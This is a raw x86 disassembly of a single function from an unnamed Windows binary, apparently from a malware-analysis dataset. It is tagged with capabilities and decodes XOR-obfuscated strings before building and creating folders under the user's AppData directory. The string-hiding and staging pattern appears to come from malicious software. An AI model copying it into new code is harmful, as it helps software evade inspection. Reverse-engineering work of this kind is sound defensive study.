Function at 0x40f620
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50352b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov dword [ebp - 0x70], ecx
push 0x104
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x24], 0x989eabb5
xor ecx, ecx
mov dword [ebp - 0x20], 0xb4cf9785
mov dword [ebp - 0x1c], 0x80988194
mov dword [ebp - 0x18], 0x100869a
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40f6a7
xorps xmm0, xmm0
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f6d3
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402810
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x190]
lea ecx, [ebp - 0x6c]
call fcn.004698d0
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f73a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f730
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410455
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp dword [ebp - 0x58], 0x10
lea esi, [ebp - 0x6c]
push 0x536240
cmovae esi, dword [ebp - 0x6c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x41045a
test esi, esi
je 0x4103bb
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f780
sub ecx, edx
je 0x4103bb
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f7b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f7b9
cmp eax, 0x20
je 0x40f7b9
cmp eax, 0x45
je 0x40f7b9
cmp eax, 0x24
jne 0x4103bb
push 0x536240
call fcn.004dbee3
add esp, 4
mov dword [ebp - 0x34], 0x989eabb5
mov dword [ebp - 0x30], 0x1009785
xor ecx, ecx
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 6
jb 0x40f7d6
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f7f0
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebx + 0x18]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410460
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x34]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x88]
call fcn.0046d420
mov byte [ebp - 4], 4
lea esi, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x88]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x410465
test esi, esi
je 0x40f8a1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f861
sub ecx, edx
je 0x40f8a1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f892
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f892
cmp eax, 0x20
je 0x40f892
cmp eax, 0x45
je 0x40f892
cmp eax, 0x24
jne 0x40f8a1
push 0x536240
call fcn.004dbee3
add esp, 4
jmp 0x40f8d0
push 0x536240
call fcn.004dbee3
add esp, 4
lea eax, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
cmovae eax, dword [ebp - 0x88]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410382
mov dword [ebp - 0x38], 0x8885a3b5
xor ecx, ecx
mov dword [ebp - 0x34], 0x948a9688
mov dword [ebp - 0x30], 0x100b0b5
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40f8e7
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f900
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x41046b
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046d420
mov byte [ebp - 4], 5
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x410470
test esi, esi
je 0x40f9a4
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f963
sub ecx, edx
je 0x40f9a4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f994
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f994
cmp eax, 0x20
je 0x40f994
cmp eax, 0x45
je 0x40f994
cmp eax, 0x24
jne 0x40f9a4
push 0x536240
call fcn.004dbee3
mov byte [ebp - 0x11], 1
jmp 0x40f9b2
push 0x536240
call fcn.004dbee3
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f9ed
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f9e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410476
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x40fc5b
mov dword [ebp - 0x38], 0x8885a3b5
xor ecx, ecx
mov dword [ebp - 0x34], 0x948a9688
mov dword [ebp - 0x30], 0x100b0b5
nop
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40fa10
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fa27
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x41047b
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046d420
mov byte [ebp - 4], 6
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x410480
test esi, esi
je 0x40fad0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fa90
sub ecx, edx
je 0x40fad0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fac1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fac1
cmp eax, 0x20
je 0x40fac1
cmp eax, 0x45
je 0x40fac1
cmp eax, 0x24
jne 0x40fad0
push 0x536240
call fcn.004dbee3
add esp, 4
jmp 0x40faf9
push 0x536240
call fcn.004dbee3
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fc23
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00465a60
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x20], 0x8885a3b5
mov dword [ebp - 0x1c], 0x948a9688
mov dword [ebp - 0x18], 0x100b0b5
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xa
jb 0x40fb30
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fb50
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x410486
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x20]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046d420
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 6
call fcn.0040f000
add esp, 0x30
test eax, eax
jne 0x40fba3
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x40fc23
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fbc8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.0040c000
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40fc23
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fc19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41048b
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fc5b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fc51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410490
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x24], 0x8f84a6b5
xor ecx, ecx
mov dword [ebp - 0x20], 0xa3cf828c
mov dword [ebp - 0x1c], 0x95819d85
mov dword [ebp - 0x18], 0x1009392
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fc80
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc97
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x410495
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d420
mov byte [ebp - 4], 9
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x41049a
test esi, esi
je 0x40fd41
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd00
sub ecx, edx
je 0x40fd41
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fd31
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fd31
cmp eax, 0x20
je 0x40fd31
cmp eax, 0x45
je 0x40fd31
cmp eax, 0x24
jne 0x40fd41
push 0x536240
call fcn.004dbee3
mov byte [ebp - 0x11], 1
jmp 0x40fd4f
push 0x536240
call fcn.004dbee3
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fd8a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fd80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104a0
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x41000b
mov dword [ebp - 0x24], 0x8f84a6b5
xor ecx, ecx
mov dword [ebp - 0x20], 0xa3cf828c
mov dword [ebp - 0x1c], 0x95819d85
mov dword [ebp - 0x18], 0x1009392
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fdb2
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fdd0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4104a5
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d420
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x4104aa
test esi, esi
je 0x40fe80
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe40
sub ecx, edx
je 0x40fe80
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fe71
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fe71
cmp eax, 0x20
je 0x40fe71
cmp eax, 0x45
je 0x40fe71
cmp eax, 0x24
jne 0x40fe80
push 0x536240
call fcn.004dbee3
add esp, 4
jmp 0x40fea9
push 0x536240
call fcn.004dbee3
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40ffd3
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00465a60
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x24], 0x8f84a6b5
mov dword [ebp - 0x20], 0xa3cf828c
mov dword [ebp - 0x1c], 0x95819d85
mov dword [ebp - 0x18], 0x1009392
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fee0
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff00
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4104b0
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046d420
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xa
call fcn.0040f000
add esp, 0x30
test eax, eax
jne 0x40ff53
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x40ffd3
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff78
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xc
call fcn.0040c000
mov byte [ebp - 4], 0xa
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40ffd3
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ffc9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104b5
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41000b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410001
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104ba
push ecx
push edx
call fcn.004dcbd1
add esp, 8
movaps xmm0, xmmword [0x5265e0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
nop
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410020
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410037
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4104bf
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d420
mov byte [ebp - 4], 0xd
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x4104c4
test esi, esi
je 0x4100e1
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4100a0
sub ecx, edx
je 0x4100e1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4100d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4100d1
cmp eax, 0x20
je 0x4100d1
cmp eax, 0x45
je 0x4100d1
cmp eax, 0x24
jne 0x4100e1
push 0x536240
call fcn.004dbee3
mov byte [ebp - 0x11], 1
jmp 0x4100ef
push 0x536240
call fcn.004dbee3
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41012a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410120
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104ca
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x410382
movaps xmm0, xmmword [0x5265e0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410147
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410160
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4104cf
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d420
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x4104d4
test esi, esi
je 0x410210
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4101d0
sub ecx, edx
je 0x410210
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410201
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410201
cmp eax, 0x20
je 0x410201
cmp eax, 0x45
je 0x410201
cmp eax, 0x24
jne 0x410210
push 0x536240
call fcn.004dbee3
add esp, 4
jmp 0x410239
push 0x536240
call fcn.004dbee3
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41034e
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00465a60
mov byte [ebp - 4], 0xf
xor ecx, ecx
movaps xmm0, xmmword [0x5265e0]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410265
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410284
sub ecx, edx
mov edx, dword [ebp - 0x5c]
sub edi, edx
cmp edi, ecx
jb 0x4104da
cmp dword [ebp - 0x58], 0x10
lea edi, [ebp - 0x26]
push ecx
push edi
push edx
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046d420
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xe
call fcn.0040f000
add esp, 0x30
test eax, eax
jne 0x4102d2
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x41034e
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4102f7
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x10
call fcn.0040c000
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x41034e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410344
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104df
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x410382
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410378
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104e4
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x4103c8
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4103af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104e9
push ecx
push edx
call fcn.004dcbd1
add esp, 8
jmp 0x4103c8
push 0x536240
call fcn.004dbee3
add esp, 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x4103fc
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4103f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104ee
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0x10
jb 0x410442
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410438
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104ee
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1e70
push eax
call fcn.004dbb7b
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.004e1e70
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.00402040
call fcn.004e1e70
call fcn.004e1e70
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.004e1e70
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.00402040
call fcn.004e1e70
call fcn.004e1e70
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.004e1e70
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.00402040
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
int3